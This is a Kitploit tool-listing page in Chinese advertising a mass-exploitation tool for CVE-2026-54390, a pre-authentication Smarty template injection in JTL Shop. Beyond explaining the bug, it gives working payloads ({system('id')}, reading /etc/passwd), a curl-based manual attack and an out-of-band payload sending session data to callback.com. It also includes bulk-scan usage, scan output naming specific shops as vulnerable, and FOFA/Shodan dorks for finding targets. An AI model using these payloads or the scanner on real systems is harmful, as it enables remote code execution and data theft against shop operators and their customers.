Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-54390 — CVE-2026-54390 — JTL Shop Smarty SSTI RCE | 通过 fetch('string:' . ) 进行预认证模板注入 | 5.2.0-5.7.1 | Kitploit
工具/GitHubGitHub/shinthink/cve-2026-54390
侦察漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubshinthink/cve-2026-54390

CVE-2026-54390

CVE-2026-54390 — JTL Shop Smarty SSTI RCE | 通过 fetch('string:' . ) 进行预认证模板注入 | 5.2.0-5.7.1

查看仓库
42个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-54390 — JTL Shop Smarty SSTI 批量利用

未认证联系表单 → 邮件主题 → fetch('string:') → 远程代码执行


概述

CVE-2026-54390 是 JTL Shop 5.2.0–5.7.1 中的一个严重(CVSS 9.8)未认证服务端模板注入漏洞。

SmartyRenderer::renderTemplate() 方法将邮件主题行传递给 $smarty->fetch('string:' . $subject) — 将其作为 Smarty 模板进行渲染。用户联系表单字段通过 parseSubject() 中的 #var# 解析方式到达邮件主题,然后被 fetch() 重新求值。

Text::filterXSS() 仅剥离 HTML 标签 — { 和 } 可通过。已注册的 Smarty 修饰器包括 file_get_contents 和 unserialize。

受影响版本

JTL Shop状态
< 5.2.0不受影响
5.2.0 – 5.3.x存在漏洞(凭证窃取)
5.4.0 – 5.7.1存在漏洞(完整 RCE)
5.5.4 / 5.6.2 / 5.7.2+已修补

漏洞机制

根因

root@kitploit:~
// includes/src/Mail/Renderer/SmartyRenderer.php 第63行
$subject = $this->parseSubject($model->getSubject($languageID));
$template->setSubject($this->getSmarty()->fetch('string:' . $subject));
//                       ^^^^^^^^^^^^^^^^^^^^^
//                    邮件主题作为 Smarty 模板渲染

攻击流程

root@kitploit:~
1. 用户填写联系表单 → 姓名/邮箱/消息 → filterXSS()
2. filterXSS 仅剥离 HTML — {system('id')} 可通过
3. 邮件主题模板:"Neue Anfrage von #Kunde.vorname#"
4. parseSubject() 解析 #Kunde.vorname# → {system('id')}
5. fetch('string:Neue Anfrage von {system(\'id\')}') → 执行
6. 发送邮件,主题为:"Neue Anfrage von uid=33(www-data)..."

已注册的 Smarty 修饰器

root@kitploit:~
// PluginCollection.php — 可用于 RCE
'unserialize', 'file_get_contents', 'file_exists', 'class_exists'

安装

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-54390.git
cd CVE-2026-54390
pip install -r requirements.txt

使用

root@kitploit:~
# 单个目标
python cve_2026_54390.py -t target.com

# 批量扫描
python cve_2026_54390.py -f jtl-targets.txt -o vuln.txt

# 通过联系表单进行 SSTI 探测
python cve_2026_54390.py -t target.com --exploit --debug

参数

root@kitploit:~
  -t, --target      单个目标(域名或 IP)
  -f, --file        目标列表,每行一个
  -o, --output      保存存在漏洞的目标
  --threads         工作线程数(默认:20)
  --exploit         通过联系表单提交 SSTI 探测
  --debug           显示每个 HTTP 请求
  -v, --verbose     详细输出

概念验证

检测

root@kitploit:~
$ python cve_2026_54390.py -t jtl-shop.de --debug
root@kitploit:~
  JTL Shop Smarty SSTI | CVE-2026-54390

  [jtl-shop.de] JTL Shop v5.7.0
  [jtl-shop.de] [+] JTL Shop v5.7.0
  [jtl-shop.de] 联系表单:/Kontakt | 主题数:5

  主机           : jtl-shop.de
  JTL Shop      : YES v5.7.0
  联系表单       : YES
  表单路径       : /Kontakt
  主题数         : 5 个可用

批量扫描

root@kitploit:~
  [!] business.trustedshops.ch   1.6s  v5.5.2  表单:/Kontakt
  [!] bmg-moebel.de              5.3s  v5.7.0  表单:/Kontakt
  [100/5600] 1%  |   JTL:23  漏洞:12

手动利用

步骤 1 — 查找联系表单和令牌

root@kitploit:~
curl -sk 'https://target.com/Kontakt' | grep -oP 'name="jtl_token"[^>]*value="\K[^"]+'

步骤 2 — 提交 SSTI 探测

root@kitploit:~
curl -sk -X POST 'https://target.com/Kontakt' \
  -d 'kontakt=1' -d 'subject=1' \
  -d 'nachricht={7*7}' \
  -d 'vorname={7*7}' \
  -d 'nachname={7*7}' \
  -d '[email protected]'

步骤 3 — 读取文件

root@kitploit:~
{{"/etc/passwd"|file_get_contents}}

步骤 4 — 外部带外数据泄露

root@kitploit:~
{{"http://callback.com/?s="|file_get_contents|cat:$smarty.session|replace_delim:":"}}

FOFA / Shodan

root@kitploit:~
FOFA:   body="jtl" && body="kontakt"
Shodan: http.html:"jtl" http.html:"Kontakt"

免责声明

仅用于教育和授权测试目的。 作者对滥用行为不承担任何责任。


参考

资源链接

与 JTL-Software 或 Sansec 无关。

下载工具
Sansec 研究sansec.io/research/jtl-shop-ssti-rce
IONIX 公告ionix.io/threat-center/cve-2026-54390
JTL 论坛forum.jtl-software.de
NVDCVE-2026-54390